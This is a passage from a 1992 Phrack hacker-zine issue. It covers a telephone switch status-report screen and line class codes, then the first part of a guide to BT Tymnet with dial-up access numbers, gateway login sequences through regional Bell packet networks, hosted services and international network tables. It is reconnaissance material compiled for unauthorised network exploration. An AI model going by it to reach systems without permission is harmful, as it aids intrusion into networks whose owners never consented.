[41] Wire Center and Prompt Symbol to Indicate Computer is Ready for Another Transaction

[42] Primary Independent Carrier is 10288 (AT&T's Ten Triple X Code)

J. MSR ‑ MARCH Status Report (MARCH)

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

_______________________________________

|

| switch name

|

| =====================================

| march status report | | sw:switch name tue oct 30 11:14:48 1992 | | pending work functions |

| =====================================

| past due due today future due |

| _____________________________________

| use moi for: 0 0 0 | | reject file 0 1 270 | | review file 0 0 0 | | held release status 28 14 44 | | normal release status 0 7 184 |

| _____________________________________

| use pac for: 0 15 | | change notices 0 3 | | unknown switch notices 0 0 |

| =====================================

|

| ** msr completed

|_______________________________________

_______________________________________

|

| switch name

|

|

| =====================================

| [1]

| | march status report | | sw:switch name [2]‑ tue oct 30 11:14:48 1992 | | pending work functions |

| =====================================

| [3] [5] [12] |

| |

| past due due today future due |

| _____________________________________

|

| use moi for: 0 2 ‑[6] 0 |

|

| reject file 0 1 ‑[7] 0 |

|

| held release status 5 ‑[4] 6 ‑[8] 0 |

|

| normal release status 0 3 ‑[9] 3 ‑[13] |

| _____________________________________

|

| use pac for: 0 15 ‑[10] |

|

| change notices 0 3 ‑[11] |

|

| unknown switch notices 0 0 |

| =====================================

|

| ** msr completed

|_______________________________________

[1] Office MSR request in (switch name/address)

[2] Date and time of request

[3] Past due service order column

[4] Past due service order on hold

[5] Due today service order column

[6] Order due today in the reject file

[7] Orders due today in review file

[8] Orders due today on hold

[9] Orders due today with a normal release status

[10] PAC service orders which have been changed

[11] PAC switch advisory notices encountered today

[12] Future due service order column

[13] Order due in the future with a normal release status

K. Other Notes

~~~~~~~~~~~~~~

LCC or Line Class Code is, in short, what kind of line the Bell customer may have. They are the phone line type ID. These IDs are used by the SCC (Switching Control Center) and the switches as an ID to what type of billing you have. Here is a list of some common LCCs that a standard BOC uses. Note: This is not in stone. These may change from area to area.

1FR ‑ One Flat Rate

1MR ‑ One Measured Rate

1PC ‑ One Pay Phone

CDF ‑ DTF Coin

PBX ‑ Private Branch Exchange (Direct Inward Dialing ext.)

CFD ‑ Coinless ANI7 Charge‑a‑Call

INW ‑ InWATS

OWT ‑ OutWATS

PBM ‑ 0 HO/MO MSG REG (No ANI)

PMB ‑ LTG = 1 HO/MO Regular ANI6

L. Recommended Reading

~~~~~~~~~~~~~~~~~~~~~~

Agent Steal's file in LODTJ #4

Acronyms 1988 [from Metal Shop Private BBS] (Phrack 20, File 11)

BT Tymnet, Part 1 of 3

==Phrack Inc.==

Volume Four, Issue Forty, File 8 of 14

_________________

||

|| BT Tymnet ||

|| British Telecom ||

||

|| Part 1 of 3 ||

||

|| Presented by Toucan Jones ||

||

|| August 1, 1992 ||

||_________________

"We played an instrumental role in first recognizing that they were there."

"If you mess with our network and we catch you ‑‑ which we always do ‑‑ you will go down."

‑‑ John Guinasso, director of global network security for Tymnet parent BT North America in Information Week (July 13, 1992, Page 15).

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Welcome to Tymnet!

PART 1

A. BT Tymnet Access Location Index

B. BT‑GNS Access Within Regional Bell Operating Companies

1. Bell Atlantic

2. BellSouth

3. Pacific Bell

4. Southwestern Bell

5. Southern New England Telephone

C. Database or Timesharing Companies on Tymnet

D. Service Classifications For Database or Timesharing Companies Using Tymnet E. Summary of Global Network Services By Country

F. Terminal Identifiers

G. Login Options

PART 2

H. BT‑GNS Worldwide Asynchronus Outdial Service

PART 3

I. BT‑GNS Worldwide Access Sorted By Node

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

A. BT Tymnet Access Location Index

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Country Abbrev. Country Abbrev.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

ANTIGUA ATG HONG KONG HKG ARGENTINA ARG ISREAL ISR AUSTRALIA AUS ITALY ITA AUSTRIA AUT JAMAICA JAM BAHAMAS BHS JAPAN JPN BAHRAIN BHR KOREA KOR BARBADOS BRB NETHERLANDS NLD BELGIUM BEL NORTHERN MARIANAS SAP BERMUDA BMU PANAMA PAN CANADA CAN PERU PER CAYMAN ISLANDS CAY PHILIPPINES PHL COLUMBIA COL PURERTO RICO PRI DENMARK DNK SWEDEN SWE DOMINICAN RPUBLIC DOM SWITZERLAND CHE EGYPT EGY TRINIDAD AND TOBAGO TTO FRANCE FRA UNITED KINGDOM GBR GREECE CRC URUGUAY URY GUAM GUM USA USA GUATEMALA GTM VIRGIN ISLANDS VIR HONDURAS HND WEST GERMANY DDR

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

B. BT‑GNS Access Within Regional Bell Operating Companies

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

TYMNET has gateways into many of the Regional Bell Operating Companies' packet networks. For specifics on how to access these networks, please refer to the information listed at the end of this listing.

DIALUP ACCESS M

PROV 100's bps N NODE CITY ST CNTRY DENS 3 12 24 96 ACCESS NO. P COMMENTS

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑ ‑‑‑‑‑ ‑‑‑‑

02275 Birmingham AL USA MED B B C 205/822‑8629 N @PLSK 03306 Berkeley CA USA MED B B 510/548‑2121 N @PPS 03306 Berkeley CA USA MED C 510/548‑5743 N @PPS 06272 El Segundo CA USA MED B B 310/640‑8548 N @PPS 06272 El Segundo CA USA MED C 310/640‑0350 N @PPS 06272 Fullerton CA USA MED B B 714‑441‑2777 N @PPS 06272 Fullerton CA USA MED C 714/441‑1839 N @PPS 06272 Inglewood CA USA MED B B 310/216‑7667 N @PPS 06272 Inglewood CA USA MED C 310/216‑4469 N @PPS 06272 Los Angeles CA USA MED B B 213/480‑1677 N @PPS 06272 Los Angeles‑Downtn. CA USA MED B B 213/687‑3727 N @PPS 03306 Mountain View CA USA MED B B 415/960‑3363 N @PPS 03306 Mountain View CA USA MED C 415/961‑2102 N @PPS 03306 Oakland CA USA MED B B C 510/893‑9889 N @PPS 03306 Palo Alto CA USA MED B B 415/325‑4666 N @PPS 03306 Palo Alto CA USA MED C 415/323‑2019 N @PPS 06272 Pasadena CA USA MED B B 818‑356‑0780 N @PPS 06272 Pasadena CA USA MED C 818/356‑0487 N @PPS 03306 San Francisco CA USA MED B B 415/362‑2280 N @PPS 03306 San Francisco CA USA MED B B C 415/543‑8275 N @PPS 03306 San Francisco CA USA MED B B 415/626‑5380 N @PPS 03306 San Francisco CA USA MED B B C 415/626‑7477 N @PPS 03306 San Francisco CA USA MED C 415/362‑7579 N @PPS 03306 San Jose CA USA MED B B 408‑920‑0888 N @PPS 03306 San Jose CA USA MED C 408/298‑0584 N @PPS 06272 Santa Ana CA USA MED B B 714‑972‑9844 N @PPS 06272 Santa Ana CA USA MED C 714/972‑2314 N @PPS 06272 Van Nuys CA USA MED B B 818‑780‑1066 N @PPS 06272 Van Nuys CA USA MED C 818/780‑5468 N @PPS 02727 Bridgeport CT USA MED B B C 203/366‑6972 N @CONNNET 02727 Bristol CT USA MED B B C 203/589‑5100 N @CONNNET 02727 Canaan CT USA MED B B C 203/824‑5103 N @CONNNET 02727 Clinton CT USA MED B B C 203/669‑4243 N @CONNNET 02727 Danbury CT USA MED B B C 203/743‑2906 N @CONNNET 02727 Danielson CT USA MED B B C 203/779‑1880 N @CONNNET 02727 Hartford/Middletown CT USA MED B B C 203/724‑6219 N @CONNNET 02727 Meriden CT USA MED B B C 203/237‑3460 N @CONNNET 02727 New Haven CT USA MED B B C 203/776‑1142 N @CONNNET 02727 New London CT USA MED B B C 203/443‑0884 N @CONNNET 02727 New Milford CT USA MED B B C 203/355‑0764 N @CONNNET 02727 Norwalk CT USA MED B B C 203/866‑5305 N @CONNNET 02727 Norwich/New London CT USA MED B B C 203/443‑0884 N @CONNNET 02727 Old Greddwich CT USA MED B B C 203/637‑8872 N @CONNNET 02727 Old Saybrook CT USA MED B B C 203/388‑0778 N @CONNNET 02727 Seymour CT USA MED B B C 203/881‑1455 N @CONNNET 02727 Stamford CT USA MED B B C 203/324‑9701 N @CONNNET 02727 Storrs CT USA MED B B C 203/429‑4243 N @CONNNET 02727 Stratford/Bridgeport CT USA MED B B C 203/366‑6972 N @CONNNET 02727 Torrington CT USA MED B B C 203/482‑9849 N @CONNNET 02727 Waterbury CT USA MED B B C 203/597‑0064 N @CONNNET 02727 Willimantic CT USA MED B B C 203/456‑4552 N @CONNNET 02727 Windsor CT USA MED B B C 203/688‑9330 N @CONNNET 02727 Windsor Lcks/Enfield CT USA MED B B C 203/623‑9804 N @CONNNET 06254 Washington DC USA MED B B 202/328‑0619 N @PDN 06254 Washington DC USA MED B B 202/479‑7214 N @PDN 06254 Washington DC USA MED B B 202/546‑5549 N @PDN 06254 Washington (Downtown DC USA MED B B 202/393‑6003 N @PDN 06254 Washington (Midtown) DC USA MED B B 202/293‑4641 N @PDN 03526 Dover DE USA MED B B C 410/734‑9465 N @PDN 03526 Georgetown DE USA MED B B C 302/856‑7055 N @PDN 03526 Newark DE USA MED B B C 302/366‑0800 N @PDN 03526 Wilmington DE USA MED C 302/655‑1144 N @PDN 03526 Wilmington DE USA MED B B 302/428‑0030 N @PDN 04125 Boca Raton FL USA MED B B 407/392‑4801 N @PLSK 04125 Ft. Pierce FL USA MED B B 407/461‑0996 N @PLSK 07064 Jacksonville FL USA MED B B C 904/354‑1032 N @PLSK 04125 Miami FL USA MED B B C 305/661‑0437 N @PLSK 04125 Plantation FL USA MED B B C 305/791‑5663 N @PLSK 07064 St. Augustine FL USA MED B B 904/825‑1101 N @PLSK 04125 Stuart FL USA MED B B 407/288‑0185 N @PLSK 04125 W. Hollywood FL USA MED B B 305/962‑8226 N @PLSK 04125 W. Palm Beach FL USA MED B B C 407/842‑8990 N @PLSK 10200 Athens GA USA MED B B C 404/613‑1289 N @PLSK 10200 Atlanta GA USA MED B B 404/261‑4633 N @PLSK 10200 Atlanta GA USA MED B B C 404/266‑9403 N @PLSK 10200 Columbus GA USA MED B B 404/324‑5771 N @PLSK 10200 Rome GA USA MED B B 404/234/6542 N @PLSK 05443 Hays KS USA MED B B 913/625‑8100 N @MRLK 05443 Hutchinson KS USA MED B B 316/669‑1052 N @MRLK 05443 Kansas City KS USA MED B B 316/225‑9951 N @MRLK 05443 Lawrence KS USA MED B B 913/841‑5580 N @MRLK 05443 Manhattan KS USA MED B B 913/539‑9291 N @MRLK 05443 Parsons KS USA MED B B 316/421‑0620 N @MRLK 05443 Salina KS USA MED B B 913/825‑4547 N @MRLK 05443 Topeka KS USA MED B B 913/235‑1909 N @MRLK 05443 Wichita KS USA MED B B 316/269‑1996 N @MRLK 06254 Bethesda MD USA MED B B 301/986‑9942 N @PDN 06254 Colesville MD USA MED B B C 301/989‑9324 N @PDN 06254 Hyattsville MD USA MED B B 301/779‑9935 N @PDN 06254 Laurel MD USA MED B B C 301/490‑9971 N @PDN 06254 Rockville MD USA MED B B 301/340‑9903 N @PDN 06254 Silver Spring MD USA MED B B 301/495‑9911 N @PDN 04766 Bridgeton/St. Louis MO USA MED B B 314/622‑0900 N @MRLK 04766 St. Louis MO USA MED B B 314/622‑0900 N @MRLK 11060 Chapel Hill NC USA MED B B 919/933‑2580 N @PLSK 11060 Durham NC USA MED B B 919/687‑0181 N @PLSK 11060 Raleigh NC USA MED B B C 919/664‑8077 N @PLSK 07771 Bernardsville NJ USA MED B B C 908/766‑7138 N @PDN 07771 Clinton NJ USA MED B B 908/730‑8693 N @PDN 07771 Dover NJ USA MED B B C 201/361‑9211 N @PDN 07771 Eatontown/Red Bank NJ USA MED B B C 908/758‑8000 N @PDN 07771 Elizabeth NJ USA MED B B C 908/289‑5100 N @PDN 07771 Englewood NJ USA MED B B C 201/871‑3000 N @PDN 07771 Freehold NJ USA MED B B C 908/780‑8890 N @PDN 07771 Hackensack NJ USA MED B B C 201/343‑9200 N @PDN 07771 Jersey City NJ USA MED B B C 201/659‑3800 N @PDN 07771 Livingston NJ USA MED B B C 201/533‑0561 N @PDN 07771 Long Branch/Red Bank NJ USA MED B B C 908/758‑8000 N @PDN 07771 Madison NJ USA MED B B C 201/593‑0004 N @PDN 07771 Metuchen NJ USA MED B B C 908/906‑9500 N @PDN 07771 Middletown NJ USA MED B B C 908/957‑9000 N @PDN 07771 Morristown NJ USA MED B B C 201/455‑0437 N @PDN 07771 New Boundland NJ USA MED B B C 201/697‑9380 N @PDN 07771 New Brunswick NJ USA MED B B C 908/247‑2700 N @PDN 07771 Newark NJ USA MED B B C 201/623‑0083 N @PDN 07771 Passaic NJ USA MED B B C 201/473‑6200 N @PDN 07771 Paterson NJ USA MED B B C 201/345‑7700 N @PDN 07771 Phillipsburg NJ USA MED B B C 908/454‑9270 N @PDN 07771 Pompton Lakes NJ USA MED B B C 201/835‑8400 N @PDN 07771 Red Bank NJ USA MED B B C 908/758‑8000 N @PDN 07771 Ridgewood NJ USA MED B B C 201/445‑4800 N @PDN 07771 Somerville NJ USA MED B B C 908/218‑1200 N @PDN 07771 South River NJ USA MED B B C 908/390‑9100 N @PDN 07771 Spring Lake NJ USA MED B B C 908/974‑0850 N @PDN 07771 Toms River NJ USA MED B B C 908/286‑3800 N @PDN 07771 Washington NJ USA MED B B C 908/689‑6894 N @PDN 07771 Wayne/Paterson NJ USA MED B B C 201/345‑7700 N @PDN 06510 Ada OK USA MED B B 405/436‑0252 N @MRLK 06510 Altus OK USA MED B B 405/477‑0321 N @MRLK 06510 Alva OK USA MED B B 405/327‑1441 N @MRLK 06510 Ardmore OK USA MED B B 405/223‑8086 N @MRLK Bartlesville OK USA MED B B 918/336‑6901 N @MRLK 06510 Clinton OK USA MED B B 405/323‑8102 N @MRLK 06510 Durant OK USA MED B B 405/924‑2680 N @MRLK 06510 Enid OK USA MED B B 405/242‑8221 N @MRLK 06510 Lawton OK USA MED B B 405/248‑8772 N @MRLK Mcalester OK USA MED B B 918/426‑0900 N @MRLK Miami OK USA MED B B 918/540‑1551 N @MRLK Muskogee OK USA MED B B 918/683‑1114 N @MRLK 06510 Oklahoma City OK USA MED B B 405/236‑0660 N @MRLK 06510 Ponca City OK USA MED B B 405/762‑9926 N @MRLK Sallisaw OK USA MED B B 918/775‑7713 N @MRLK 06510 Shawnee OK USA MED B B 405/273‑0053 N @MRLK 06510 Stillwater OK USA MED B B 405/377‑5500 N @MRLK Tulsa OK USA MED B B 918/583‑6606 N @MRLK 06510 Woodward OK USA MED B B 405/256‑9947 N @MRLK 03526 Allentown PA USA MED B B 215/435‑0266 N @PDN Altoona PA USA MED C 814/949‑0505 N @PDN Altoona PA USA MED B B 814/946‑8639 N @PDN 03526 Ambler PA USA MED B B 215/283‑2170 N @PDN 10672 Ambridge PA USA MED B B 412/266‑9610 N @PDN 10672 Carnegie PA USA MED B B 412/276‑1882 N @PDN 10672 Charleroi PA USA MED B B 412/483‑9100 N @PDN 03526 Chester Heights PA USA MED B B 215/358‑0820 N @PDN 03526 Coatesville PA USA MED B B 215/383‑7212 N @PDN 10672 Connellsville PA USA MED B B 412/628‑7560 N @PDN 03526 Downington/Coates. PA USA MED B B 215/383‑7212 N @PDN 03562 Doylestown PA USA MED B B 215/340‑0052 N @PDN 03562 Germantown PA USA MED B B 215‑843‑4075 N @PDN 10672 Glenshaw PA USA MED B B 412/487‑6868 N @PDN 10672 Greensburg PA USA MED B B 412/836‑7840 N @PDN Harrisburg PA USA MED C 717/238‑0450 N @PDN Harrisburg PA USA MED B B 717/236‑3274 N @PDN 10672 Indiana PA USA MED B B 412/465‑7210 N @PDN 03526 King of Prussia PA USA MED B B 215/270‑2970 N @PDN 03526 Kirklyn PA USA MED B B 215/789‑5650 N @PDN 03526 Lansdowne PA USA MED B B 215/626‑9001 N @PDN 10672 Latrobe PA USA MED B B 412/537‑0340 N @PDN Lemoyne/Harrisburg PA USA MED B B 717/236‑3274 N @PDN 10672 McKeesport PA USA MED B B 412/673‑6200 N @PDN 10672 New Castle PA USA MED B B 412/658‑5982 N @PDN 10672 New Kensington PA USA MED B B 412/337‑0510 N @PDN 03526 Norristown PA USA MED B B 215/270‑2970 N @PDN 03526 Paoli PA USA MED B B 215/648‑0010 N @PDN Philadelphia PA USA MED C 215/625‑0770 N @PDN Philadelphia PA USA MED B B 215/923‑7792 N @PDN 10672 Pittsburgh PA USA MED C 412/261‑9732 N @PDN 10672 Pittsburgh PA USA MED B B 412‑687‑4131 N @PDN 10672 Pittsburgh PA USA MED B B 412/281‑8950 N @PDN 10672 Pottstown PA USA MED B B 215/327‑8032 N @PDN 03526 Quakertown PA USA MED B B 215/538‑7032 N @PDN 03526 Reading PA USA MED B B 215/375‑7570 N @PDN 10672 Rochester PA USA MED B B 412/728‑9770 N @PDN 03526 Scranton PA USA MED C 717/341‑1860 N @PDN 03526 Scranton PA USA MED B B 717/348‑1123 N @PDN 10672 Sharon PA USA MED B B 412/342‑1681 N @PDN 03526 Tullytown PA USA MED B B 215/547‑3300 N @PDN 10672 Uniontown PA USA MED B B 412/437‑5640 N @PDN 03562 Valley Forge PA USA MED B B 215/270‑2970 N @PDN 10672 Washington PA USA MED B B 412/223‑9090 N @PDN 03526 Wayne PA USA MED B B 215/341‑9605 N @PDN 10672 Wilkinsburg PA USA MED B B 412/241‑1006 N @PDN 06254 Alexandria VA USA MED B B 703/683‑6710 N @PDN 06254 Arlington VA USA MED B B 703/524‑8961 N @PDN 06254 Mclean VA USA MED B B 703/848‑2941 N @PDN

B=BELL 103/113 (300 bps) or BELL 212A (1200 bps) compatible modems C=CCITT V.21(300 bps) or CCITT V.22 bis(2400 bps) or CCITT V.32 compatible modems.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

B1. Bell Atlantic

~~~~~~~~~~~~~

@PDN BELL ATLANTIC ‑ NETWORK NAME IS PUBLIC DATA NETWORK (PDN)

(CONNECT MESSAGE)

...<CR> (SYNCHRONIZES DATA SPEEDS)

WELCOME TO THE BPA/DST PDN

*.T <CR> (TYMNET ADDRESS)

131069 (ADDRESS CONFIRMATION ‑ TYMNET DNIC) COM (CONFIRMATION OF CALL SET‑UP)

‑GWY 0XXXX‑ TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

B2. BellSouth

~~~~~~~~~

@PLSK BELLSOUTH ‑ NETWORK NAME IS PULSELINK

(CONNECT MESSAGE)

... <CR> (SYNCHRONIZES DATA SPEEDS) (DOES NOT ECHO TO THE TERMINAL) CONNECTED

PULSELINK

13106 (TYMNET ADDRESS) (DOES NOT ECHO TO THE TERMINAL)

PULSELINK: CALL CONNECTED TO 1 3106

‑GWY 0XXXX‑ TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

B3. Pacific Bell

~~~~~~~~~~~~

@PPS PACIFIC BELL ‑ NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS)

(CONNECT MESSAGE)

...<CR (SYNCHRONIZES DATA SPEEDS)> (DOES NOT ECHO TO THE TERMINAL)

ONLINE 1200

WELCOME TO PPS: 415‑XXX‑XXXX

131069 (TYMNET ADDRESS) (DOES NOT ECHO UNTIL TYMNET RESPONDS)

‑GWY 0XXXX‑ TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

B4. Southwestern Bell

~~~~~~~~~~~~~~~~~

@MRLK ‑ SOUTHWESTERN BELL TELEPHONE‑ NETWORK NAME IS MICROLINK II(R)

(CONNECT MESSAGE)

(PLEASE TYPE YOUR TERMINAL IDENTIFIER)

A (YOUR TERMINAL IDENTIFIER)

WELCOME TO MICROLINK II

‑XXXX:01‑030‑

PLEASE LOG IN:

.T <CR> (USERNAME TO ACCESS TYMNET)

HOST: CALL CONNECTED

‑GWY 0XXXX‑ TYMNET: PLEASE LOG IN:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

B5. Southern New England Telephone

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

@CONNNET ‑ SOUTHERN NEW ENGLAND TELEPHONE ‑ NETWORK NAME IN CONNNET

(CONNECT MESSAGE)

HH<CR> (SYNCHRONIZES DATA SPEEDS)

(DOES NOT ECHO TO THE TERMINAL)

CONNNET

.T<CR> (MUST BE CAPITAL LETTERS)

26‑SEP‑88 18:33 (DATA)

031069 (ADDRESS CONFIRMATION)

COM (CONFIRMATION OF CALL SET‑UP)

‑GWY OXXXX‑TYMNET: PLEASE LOG IN:

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

C. Database or Timesharing Companies on Tymnet

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

APCUG "GLOBALNET" BBS

Bloodstock Research Information

BRS Information Technologies

BT, North America (Dialcom)

Cartermill, Inc.

Charles Schwab and Company, Inc.

Chemical Abstracts Services (CAS)

Commercial SABRE

Commodity Systems, Inc.

CompuServe, Inc.

Compusource

Computer Intelligence

Connect, Inc.

Creative Automation Co.

Delphi

Dialog Information Services, Inc.

Digital Equipment Corp.

Diversified Network Applications, Inc.

Dow Jones & Company, Inc.

Dun and Bradstreet

Electronic Data Systems Corp.

Export Network, Inc.

Gibson Information Systems (GIS)

Global Interconnect Communications, Inc.

Idioma Translation

Interactive Data Corp.

Jeppesen DataPlan

Mead Data Central

Metro On‑Line Services, Ltd.

National Library of Medicine (NLM)

NewsNet, Inc.

Nikkei Telecom Japan

Nuclear Power Experience

OCR Services, Inc.

Official Airline Guide (OAG)

ORBIT Search Service

Power Computing Company

Rand McNally ‑ TDM, Inc.

Real Estate Investment Network

SeniorNet

Southeast Regional Data Center (SERDAC)

SPEED>S Corporation

The Jockey Club Information Systems

TRW Business Credit Division

TRW Information Services

USA TODAY Sports Center

West Publishing Company (WEST)

Xerox Computer Services (XCS)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

D. Service Classifications For Database or Timesharing Companies Using Tymnet

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MAJOR CATEGORIES:

Business Investments Communications Legal Computers Livestock Economics Marketing Education Medicine Electronic Mail Natural Resources Environment Real Estate Finance Safety Games Science General Interest Sports Government Trade Health Care Transportation Insurance Travel International

OTHER CATEGORIES

Accounting Law Airlines Management

Asia Manufacturing

Aviation Market Analysis Batch (Processing) Mines

Car Network

Chats News Chemistry Nuclear Power Commodities Outsourcing Computing Patents Conferences PC Corporate Racing Credit (Business or Consumer) Records Data (Processing) Registration Direct Marketing Research Disaster Recovery Reservations

DMV RJE

Electric Power Route Planning Engineering Schedules Export SEC

Fax Services Securities Fictitious Names Software Flight Plans Tax

Hotel Timesharing Horses Translation Information UCC Instruction User Group IRS (Internal Revenue Service) Vendors Japan Weather Languages

BT TYMNET's Global Network Service (GNS) combines three level of international services:

1. BT TYMNET GLOBAL NETWORK CONNECTION SERVICE

2. ENHANCED GLOBAL CONNECTION SERVICE

3. BASIC GLOBAL CONNECTION SERVICE

BT TYMNET GLOBAL NETWORK CONNECTION SERVICE (TGN) is currently offered in the following countries:

Australia Netherlands

Belgium New Zealand

Canada Spain

Denmark Sweden

France Switzerland

Germany United Kingdom

Italy United States

Japan

BT TYMNET GLOBAL NETWORK CONNECTION SERVICE are BT TYMNET owned and operated sites and equipment. Global, Regional and local support is provided end‑to‑end by BT TYMNET's trained and experienced technical staff, in place worldwide since 1977. Round the clock coverage for trouble reporting and response on critical problems is provided. BT TYMNET Global Network Service enhanced pricing, local currency billing and end‑user billing is available.

ENHANCED GLOBAL CONNECTION SERVICE (EGC) complement the service described above and is currently available from the following locations:

Alaska (USA)* Israel

Antigua Italy

Argentina Jamaica

Australia Korea

Austria Netherland Antilles Bahama Panama

Bahrain Peru

Barbados Philippines

Belgium Puerto Rico*

Bermuda Saudi Arabia

Cayman Islands Sweden

Denmark Switzerland

Dominican Republic Tortola

France Trinidad and Tobago Germany United Kingdom

Guam* US Virgin Islands Guatemala

Honduras

Hong Kong

* USA Domestic services and rates apply

ENHANCED GLOBAL CONNECTION SERVICE is offered by a local Telecommunication Administration equipped with BT TYMNET technology. In many instances the administration is using BT TYMNET's Network Supervisors to operate the packet service in their area.

All ENHANCED GLOBAL CONNECTION SERVICE locations offer direct TYM2 (TYMNET's proprietary) protocol connection to the BT TYMNET Public Network and thus may offer BT TYMNET's comprehensive array of enhanced protocol services. Most currently offer BT TYMNET asynchronous access and X.25 service. Naturally, a close affinity exists between BT TYMNET and ENHANCED GLOBAL CONNECTION SERVICE providers so a very high degree of service and support exists in these locations. TYMUSA, a universal dial‑up service which is billed back to the customer's home office, is offered from all the above locations.

BASIC GLOBAL CONNECTION SERVICE (BGC) completes the full range of international connectivity and is currently available from the following locations:

Antigua Greenland* Panama

Argentina Gudaelope* Peru

Australia Guam & Saipan Philippines Austria Guatemala Portugal

Bahamas Honduras Puerto Rico Bahrain Hong Kong Qatar

Barbados Hungary Reunion Island Belgium Iceland Saudi Arabia Bermuda India San Marino*

Brazil Indonesia Senegal*

Canada Ireland Singapore

Cayman Islands Israel South Africa

Chile Italy South Korea

China Ivory Coast Spain

Colombia Jamaica Sweden

CostaRica Japan Switzerland Curacao Kuwait Taiwan

Cyprus* Luxembourg Thailand

Denmark Macau* Tortola (BVI)* Djibouti* Malaysia Trinidad & Tobago Dominican Republic Malta* Tunisia*

Egypt Mauritius* Turkey

Faroe Islands* Mexico UAE

Finland Mozambique* US Virgin Islands France Nth. Antilles* USSR

French Antilles Netherlands United Kingdom French Guiana New Caledonia* United States French Polynesia* New Zealand Uruguay

Gabon Northern Marianas Vanuatu*

Gambia Norway Yugoslavia*

Germany Zimbabwe

Greece

* Information will be available on the next update

BASIC GLOBAL CONNECTION SERVICE providers connect their networks to BT TYMNET exclusively via X.75 protocol gateways. The CCITT recommendation X.75 is closely related to the better known CCITT X.25 recommendation and provides a reliable communication channel for interworking between Public Data Networks.

As a supplier of network technology to US IRC's and foreign carriers for more than 10 years, BT TYMNET has a wealth of experience with the X.75 standard and actively participates in its development. BT TYMNET X.75 software has evolved into a sophisticated product providing numerous advanced features not found in other X.75 implementations. BT TYMNET maintains and supports more X.75 gateway links than any other network in the world.

All of BT TYMNET's X.75 gateways are supported by BT TYMNET's International Network Services (INS) group which ensures that all the gateways are configured to provide a uniform interface to BT TYMNET regardless of the origination network.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

E. Summary of Global Network Services By Country

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Note: TYMNET GLOBAL NETWORK (TGN) use BT TYMNET's assigned DNIC of 3106. The other DNICs listed in the table below are the DNICs of the ENHANCED GLOBAL CONNECTION (EGC) and BASIC GLOBAL CONNECTION (BGC) service providers.

COUNTRY | TGN || DNIC/Network >> EGC | BGC |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Alaska | || 3135/Alascom >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Antigua | || 3443/Aganet >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Argentina | || 7220/ARPAC >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Argentina | || 7222/ARPAC >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Australia | X || BT TYMNET >> | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Australia | || 5052/AUSPAC >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Australia | || 5053/MIDAS >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Austria | || 2322/DATEX‑P >> | X |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Austria | || 2329/RADIO AUST >> X | |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑||‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bahamas | || 3640/BaTelCo >> X | |

